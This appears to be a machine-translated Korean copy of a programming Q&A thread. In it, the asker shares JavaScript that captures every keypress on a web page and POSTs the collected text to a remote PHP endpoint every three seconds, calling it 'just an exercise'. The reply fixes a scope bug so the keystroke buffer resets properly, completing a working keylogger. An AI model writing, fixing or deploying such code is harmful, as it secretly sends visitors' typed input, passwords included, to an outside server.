2014-11-08 12 views
0

다음 코드 샘플에서는 키보드 입력을 기록하고 보내려합니다 (피싱 공격이 아닌 나를위한 운동 일뿐입니다. 사이트))서버에 수정 된 데이터 보내기 (타이머 사용)

내가 문자열 3 초 동안 키보드 입력 ((VAR 데이터)) 수집 할
var data = ''; 
function update_data(udata) 
{ 
    var http = new XMLHttpRequest(); 
    var param = encodeURI(udata) 
    http.open("POST","http://website.com/records.php",true); 
    http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
    http.send("data="+param); 

    var data = ''; 
} 

document.onkeypress = function(evt) 
{ 
    evt = evt || window.event 
    data = data + String.fromCharCode(evt.charCode) 
} 

timer = setInterval('update_data(data)', 3000); 

, 다음 서버에 전송하고 마지막으로 문자열을 청소하고 다시 수집합니다. records.php에서 입력 내용은 데이터베이스에 저장됩니다.

내 문제는 데이터 변수가 함수 update_data의 끝에 빈 문자열로 값을 변경하지 않는다는 것입니다. 따라서 사용자가 'a'를 입력하면 3 초마다 'a'가 서버로 전송됩니다.

+0

제발 봐 내 대답. –

답변

0

당신은 아닌 지역 하나에 글로벌data 변수를 참조해야합니다.

그래서 대신 :

function update_data(udata) 
    { 
     ... 
     var data = ''; 
    } 

쓰기 :

이 문제는 스코프과 관련이있다
function update_data(udata) 
    { 
     ... 
     data = ''; 
    } 

, 그것에 대해 여기에서 자세한 내용을보실 : Variable Scope (JavaScript)

+0

감사합니다, – g4m30

+0

@ g4m30 당신을 환영합니다. –

관련 문제